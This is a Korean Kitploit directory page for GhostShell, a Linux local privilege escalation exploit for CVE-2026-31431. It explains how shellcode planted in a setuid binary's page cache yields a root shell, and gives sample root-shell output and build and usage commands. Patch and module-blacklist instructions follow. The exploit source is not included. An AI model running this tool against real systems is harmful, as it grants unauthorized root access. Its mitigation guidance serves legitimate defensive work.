Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
GhostShell — CVE-2026-31431 — Linux 커널 페이지 캐시 손상을 통한 로컬 권한 상승 | Kitploit
도구/GitHubGitHub/razvanduda/ghostshell
Privilege EscalationExploit FrameworksVulnerability AnalysisExploitationPenetration TestingRed TeamingBinary Exploitation
GitHubrazvanduda/ghostshell

GhostShell

CVE-2026-31431 — Linux 커널 페이지 캐시 손상을 통한 로컬 권한 상승

저장소 보기
64개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

GhostShell

CVE-2026-31431 — Linux 커널 페이지 캐시 손상을 통한 로컬 권한 상승

GhostShell은 Linux 커널의 authencesn AEAD 암호화 구현의 결함을 악용하여 비특권 사용자 계정에서 루트 셸을 획득하는 로컬 권한 상승 도구입니다. setuid-root 바이너리(예: /usr/bin/su)의 메모리 내 페이지 캐시를 손상시켜 해당 진입점에 셸코드를 심은 다음 실행하여 setuid(0) + setgid(0) 권한을 얻고 권한 있는 /bin/sh를 생성합니다. 디스크의 파일은 수정되지 않으며 메모리 내 페이지 캐시만 영향을 받습니다.

요약하자면: 일반 사용자로 실행하면 루트 셸로 떨어집니다.

Theori / Xint가 발견하고 공개했습니다. 전체 분석 문서: copy.fail


예제 출력

root@kitploit:~
$ ./ghostshell

  CVE-2026-31431 'Copy Fail'

  Target:       /usr/bin/su
  Size:         63576 bytes
  Entry offset: 0x1a50
  Shellcode:    94 bytes (24 iterations)

  [*] Checking if kernel is vulnerable...
  [+] Kernel IS vulnerable.

  [*] Corrupting page cache of /usr/bin/su with shellcode...
  [*] Patching offset 0x01a50 (24/24) ...

  [*] Verifying page cache corruption...
  [+] Shellcode verified in page cache!

  [*] Executing corrupted setuid binary...
  [*] If successful, you should now have a root shell.
  [*] No trace on disk. Only ghosts in the cache.

# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#

영향을 받는 커널

Linux 4.14(2017년 8월)부터 2026년 4월에 패치된 커널까지.

해결 방법 — kmod 패치

CVE-2026-31431에 대한 권장 수정 사항은 취약한 authencesn AEAD 암호 모듈을 포함하는 kmod 패키지(커널 모듈 유틸리티)를 패치하는 것입니다. 인플레이스 splice() 복호화 경로를 비활성화하거나 수정한 업데이트된 패키지가 주요 배포판에서 릴리스되었습니다.

빠른 패치 (Debian / Ubuntu)

root@kitploit:~
# 현재 kmod 버전 확인
modprobe --version

# 패치된 버전으로 업데이트
sudo apt-get update
sudo apt-get install --only-upgrade kmod

# 업데이트 확인
modprobe --version

빠른 패치 (RHEL / Fedora / Rocky / Alma)

root@kitploit:~
# kmod를 패치된 릴리스로 업데이트
sudo dnf update kmod

# 확인
rpm -q kmod

빠른 패치 (Arch Linux)

root@kitploit:~
sudo pacman -Syu kmod

커널 수정 확인

kmod 패치 후 취약한 authencesn 모듈이 더 이상 로드할 수 없거나 업데이트되었는지 확인합니다:

root@kitploit:~
# 모듈 로드 시도 — 패치된 시스템에서는 실패하거나 수정된 버전을 보고해야 함
modinfo authencesn

# 또는 실행 중인 커널에 2026년 4월 패치가 포함되어 있는지 확인
uname -r   # 배포판의 패치된 커널 버전 이상이어야 함

해결 방법 (즉시 패치가 불가능한 경우)

kmod를 바로 업데이트할 수 없다면 취약한 암호 모듈의 로드를 차단할 수 있습니다:

root@kitploit:~
# authencesn 모듈 블랙리스트
echo "install authencesn /bin/true" | sudo tee /etc/modprobe.d/disable-authencesn.conf

# 안전을 위해 일반 authenc 모듈도 블랙리스트
echo "install authenc /bin/true" | sudo tee -a /etc/modprobe.d/disable-authencesn.conf

# 현재 로드되어 있으면 언로드 (사용 중이면 실패할 수 있음)
sudo modprobe -r authencesn 2>/dev/null

패치 또는 해결 방법 적용 후 재부팅하여 손상된 페이지 캐시 항목이 모두 지워지도록 하십시오.


테스트 환경

OS커널
Ubuntu 24.04 LTS6.17.0-22-generic

⚠️ 이 익스플로잇은 위 시스템에서만 테스트되었습니다. 다른 배포판이나 커널 버전에서는 결과가 다를 수 있습니다.


사전 요구 사항

  • 취약한 Linux 커널 (위 참조)
  • GCC (또는 모든 C 컴파일러)
  • Linux 커널 UAPI 헤더 (<linux/if_alg.h>) — 일반적으로 linux-libc-dev에 포함됨
  • 비특권 사용자 계정 (익스플로잇 실행에 루트 불필요)

Ubuntu/Debian에서 빌드 종속성 설치:

root@kitploit:~
sudo apt-get update
sudo apt-get install gcc linux-libc-dev

빌드

root@kitploit:~
gcc -Wall -Wextra -o ghostshell ghostshell.c

외부 라이브러리 필요 없음.


사용법

대상 자동 감지 (su, sudo, passwd와 같은 일반적인 setuid 바이너리 확인):

root@kitploit:~
./ghostshell

대상을 수동으로 지정:

root@kitploit:~
./ghostshell /usr/bin/sudo

커널이 취약하면 루트 셸(#)로 떨어집니다.


작동 방식 (요약)

  1. 취약점 확인 — 임시 파일을 생성하고 AEAD 프리미티브를 통해 처음 4바이트를 변형한 다음 다시 읽어 페이지 캐시가 수정되었는지 확인합니다.
  2. 대상 선택 — setuid-root 바이너리를 자동 감지하고 ELF64 헤더를 파싱하여 _start 진입점 오프셋을 찾습니다.
  3. 페이지 캐시 손상 — AF_ALG splice() 인플레이스 복호화 결함을 사용하여 patch_chunk() 호출당 4바이트씩(24회 반복) 진입점에 94바이트의 x86-64 셸코드를 작성합니다.
  4. 실행 — 손상된 바이너리에서 execl()을 호출합니다. 커널이 페이지 캐시에서 바이너리를 로드하고 셸코드가 setuid-root 권한으로 실행되어 루트 셸을 생성합니다.

정리

이 익스플로잇은 메모리 내 페이지 캐시만 손상시킵니다. 간단한 재부팅으로 완전히 지워집니다.

재부팅 없이 캐시를 삭제하려면:

root@kitploit:~
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'

더티 페이지가 디스크에 기록된 경우(가능성은 낮지만 가능), 영향을 받는 패키지를 재설치하십시오:

root@kitploit:~
sudo apt-get install --reinstall util-linux   # /usr/bin/su용

면책 조항

이 도구는 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 대한 무단 사용은 불법입니다. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.


라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다.

이로써 본 소프트웨어 및 관련 문서 파일("소프트웨어")의 사본을 얻는 모든 사람에게 사용, 복사, 수정, 병합, 게시, 배포, 서브라이선스 및/또는 판매할 권리와 소프트웨어가 제공된 사람이 이를 사용할 수 있도록 허용할 권리를 포함하여 제한 없이 소프트웨어를 취급할 수 있는 권한이 무료로 부여되며, 다음 조건에 따릅니다:

위의 저작권 고지 및 이 허가 고지는 소프트웨어의 모든 사본 또는 상당 부분에 포함되어야 합니다.

소프트웨어는 상품성, 특정 목적에의 적합성 및 비침해에 대한 보증을 포함하되 이에 국한되지 않는 명시적 또는 묵시적 어떠한 종류의 보증 없이 "있는 그대로" 제공됩니다. 어떠한 경우에도 저자 또는 저작권 보유자는 계약, 불법 행위 또는 기타 행위에 관계없이 소프트웨어 또는 소프트웨어의 사용 또는 기타 거래로 인해 발생하거나 이와 관련하여 발생하는 모든 청구, 손해 또는 기타 책임에 대해 책임을 지지 않습니다.

도구 다운로드